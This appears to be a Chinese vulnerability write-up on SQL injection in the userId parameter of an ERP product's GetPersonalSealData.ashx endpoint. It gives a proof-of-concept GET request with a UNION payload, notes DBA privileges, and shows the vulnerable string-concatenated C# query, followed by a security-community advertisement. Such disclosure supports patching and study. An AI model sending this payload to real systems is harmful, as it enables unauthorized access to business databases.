.NET 漏洞分析 | 某ERP系统存在SQL注入

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02漏洞背景

某邦一体化ERP将企业物流、资金流、信息流等所有资源整合在一起,对销售、采购、生产、成本、库存、分销、运输、财务、人力资源进行规划,在一套系统内解决企业所有的管理问题,数据实时共享,全程监控各个环节的运转和协作,让企业最大限度利用现有资源取得最佳经济效益。国际是一体化ERP十大品牌,专注于企业数智化转型20多年,一体化ERP全面产品线,该ERP GetPersonalSealData.ashx接口存在SQL注入漏洞。

03漏洞复现

近日外部渠爆出该系统存在SQL漏洞,参数userId存在SQL注入漏洞,具体的数据包如下

GET /SYSN/json/pcclient/GetPersonal****.ashx?imageDate=1&userId=-2%20union%20select%20@@version-- HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: *
Connection: Keep-Alive

该注入点支持使用多种注入技术进行测试,包括布尔盲注、堆叠查询、基于时间的盲注和 UNION 查询。如下图所示。

图片

堆叠查询使用 DECLARE 和 WAITFOR DELAY 语句,测试注入点是否可以执行多个SQL查询,返回后台数据库版本是 Microsoft SQL Server 2008,并且当前用户具有 DBA(数据库管理员)权限。

04漏洞分析

GetPersonal****.ashx 文件中存在不安全的 SQL 查询处理,会直接将传入的 userId 参数拼接到 SQL 查询字符串中,从而导致 SQL 注入漏洞。具体代码如下所示。

using System;
using System.Data;
using System.Data.SqlClient;
using System.Web;public class GetPersonalSealData : IHttpHandler
{public void ProcessRequest(HttpContext context){// 获取请求参数string imageDate = context.Request.QueryString["imageDate"];string userId = context.Request.QueryString["userId"];string query = "SELECT * FROM PersonalSealData WHERE ImageDate = @imageDate AND UserId = " + userId;}public bool IsReusable{get { return false; }}
}

从 QueryString 中获取 imageDate 和 userId 参数,使用字符串拼接构建 SQL 查询,直接将 userId 参数包含在查询字符串中,导致 SQL 注入漏洞。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/39192.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java中s-EJB 与 e-EJB的区别

在Java中,关于“s-EJB”与“e-EJB”的区分,实际上可能存在一定的误解或混淆,因为在标准的EJB(Enterprise JavaBeans)术语中,并没有直接称为“s-EJB”和“e-EJB”的明确分类。然而,为了尝试解答这…

【Postman gRPC测试全攻略】探索微服务通信的新纪元

标题:【Postman gRPC测试全攻略】探索微服务通信的新纪元 gRPC是一种高性能、开源和通用的RPC框架,由Google主导开发,它使用Protocol Buffers作为接口描述语言和消息交换格式。Postman作为API开发的利器,也提供了对gRPC服务的测试…

封装2个函数

1 #include "key1.h"2 //封装EXTI章节函数3 void hal_exti_init(int exti,unsigned int i)4 {5 switch(exti)6 {7 case 9:8 //使能GPIOF外设时钟9 RCC->MP_AHB4ENSETR | (0x1<<5);10 //将PF9设置为输出模式11 …

MyBatis(22)如何在 MyBatis 中使用注解而不是 XML 映射文件

在 MyBatis 中&#xff0c;使用注解而不是 XML 映射文件来进行 SQL 映射是一种更为简洁直观的方式&#xff0c;尤其适用于 SQL 语句较少的场景。通过注解&#xff0c;开发者可以直接在接口方法上声明 SQL 语句&#xff0c;这样可以减少项目中的配置文件数量&#xff0c;使得项目…

学习笔记——动态路由——OSPF(认证)

十二、OSPF邻居认证 1、OSPF邻居认证概述 链路是路由器接口的另一种说法&#xff0c;因此OSPF也称为接口状态路由协议。OSPF通过路由器之间通告网络接口的状态来建立链路状态数据库&#xff0c;生成最短路径树&#xff0c;每个OSPF路由器使用这些最短路径构造路由表。 OSPF认…

基于Vue框架实现的记事本

<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>懒人记事本</title><style>body {fo…

深度网络现代实践 - 深度前馈网络之反向传播和其他的微分算法篇

序言 反向传播&#xff08;Backpropagation&#xff0c;简称backprop&#xff09;是神经网络训练过程中最关键的技术之一&#xff0c;尤其在多层神经网络中广泛应用。它是一种与优化方法&#xff08;如梯度下降法&#xff09;结合使用的算法&#xff0c;用于计算网络中各参数的…

大数据面试题之数仓(1)

目录 介绍下数据仓库 数仓的基本原理 数仓架构 数据仓库分层(层级划分)&#xff0c;每层做什么?分层的好处? 数据分层是根据什么? 数仓分层的原则与思路 知道数仓建模常用模型吗?区别、优缺点? 星型模型和雪花模型的区别?应用场景?优劣对比 数仓建模有哪些方式…

【Symfony社区全接触】深入探索文档与支持资源

标题&#xff1a;【Symfony社区全接触】深入探索文档与支持资源 Symfony是一个强大的PHP框架&#xff0c;拥有一个活跃的开发者社区和丰富的文档资源。这些资源对于学习和使用Symfony至关重要。本文将详细介绍Symfony的文档和社区支持&#xff0c;包括官方文档、社区论坛、邮件…

如何计算弧线弹道的落地位置

1&#xff09;如何计算弧线弹道的落地位置 2&#xff09;Unity 2021 IL2CPP下使用Protobuf-net序列化报异常 3&#xff09;编译问题&#xff0c;用Mono可以&#xff0c;但用IL2CPP就报错 4&#xff09;Wwise的Bank在安卓上LoadBank之后&#xff0c;播放没有声音 这是第393篇UWA…

02 数据加工层 如何搭建用户与内容的标准规范体系

你好&#xff0c;我是周大壮。 01 讲我们提到了个性化流量分发体系的四个阶段&#xff0c;并着重讲解了数据采集阶段的内容。那么&#xff0c;这一讲我们主要围绕数据加工阶段的内容进行详细讲解。 在课程开始之前&#xff0c;我们先举一个场景进行说明。 近年来&#xff0c…

静态方法与实例方法的区别

静态方法与实例方法的区别 1、静态方法&#xff08;Static Methods&#xff09;1.1 调用方式1.2 访问权限 2、实例方法&#xff08;Instance Methods&#xff09;2.1 调用方式2.2 访问权限 3、总结 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1…

大数据面试题之数仓(2)

目录 维度表和事实表的区别? 什么是ER模型? OLAP、OLTP解释(区别)三范式是什么&#xff0c;举些例子 维度设计过程&#xff0c;事实设计过程 维度设计中有整合和拆分&#xff0c;有哪些方法&#xff0c;并详细说明 事实表设计分几种&#xff0c;每一种都是如何在业…

【C++】解决 C++ 语言报错:Invalid Array Index

文章目录 引言 无效数组索引&#xff08;Invalid Array Index&#xff09;是 C 编程中常见且危险的错误之一。当程序试图使用不合法的索引访问数组时&#xff0c;就会发生无效数组索引错误。这种错误不仅会导致程序崩溃&#xff0c;还可能引发不可预测的行为和安全漏洞。本文将…

【PB案例学习笔记】-28制作一个右键菜单

写在前面 这是PB案例学习笔记系列文章的第28篇&#xff0c;该系列文章适合具有一定PB基础的读者。 通过一个个由浅入深的编程实战案例学习&#xff0c;提高编程技巧&#xff0c;以保证小伙伴们能应付公司的各种开发需求。 文章中设计到的源码&#xff0c;小凡都上传到了gite…

任天堂称未来第一方游戏不会使用生成式AI

虽然EA、育碧、暴雪、Embracer等西方游戏厂商都大力支持生成式AI技术&#xff0c;但日本老牌游戏公司任天堂并不会追随这一步伐。任天堂已经确认该公司未来的第一方游戏不会使用生成式AI技术。 在公司最近的投资人问答会上&#xff0c;任天堂描绘了公司未来游戏愿景。在谈到AI技…

安徽农业大学学报

《安徽农业大学学报》是安徽农业大学主办&#xff0c;国内外公开发行的综合性农业科学类学术期刊&#xff0c;主要刊登茶叶科学、动植物遗传育种、作物栽培、植物保护、林学、动物科学与动物医学、水产科学、生物学、土壤学、农业生态与环境科学、园艺学、食品科学、农业机械工…

Oracle PL / SQL变量值

常量 要声明常量&#xff0c;请在类型说明符之前放入关键字CONSTANT。 常量必须在其声明中初始化。 每次输入块或子程序时&#xff0c;都会初始化常量。 以下代码显示如何定义REAL类型的常量&#xff0c;并为常量指定一个不可更改的值5。 DECLARE n_real CONSTANT RE…

51单片机第27步_单片机工作在睡眠模式

重点学习51单片机工作在睡眠模式。 1、进入“睡眠模式”的方法 通过将PCON寄存器中的PDWN置1&#xff0c;则CPU会进入“睡眠模式”。在“睡眠模式”中,晶振将停止工作&#xff0c;因此&#xff0c;定时器和串口都将停止工作&#xff0c;只有外部中断继续工作。如果单片机电源…

LeetCode——第 404 场周赛

周赛 三角形的最大高度 给你两个整数 red 和 blue&#xff0c;分别表示红色球和蓝色球的数量。你需要使用这些球来组成一个三角形&#xff0c;满足第 1 行有 1 个球&#xff0c;第 2 行有 2 个球&#xff0c;第 3 行有 3 个球&#xff0c;依此类推。 每一行的球必须是 相同 …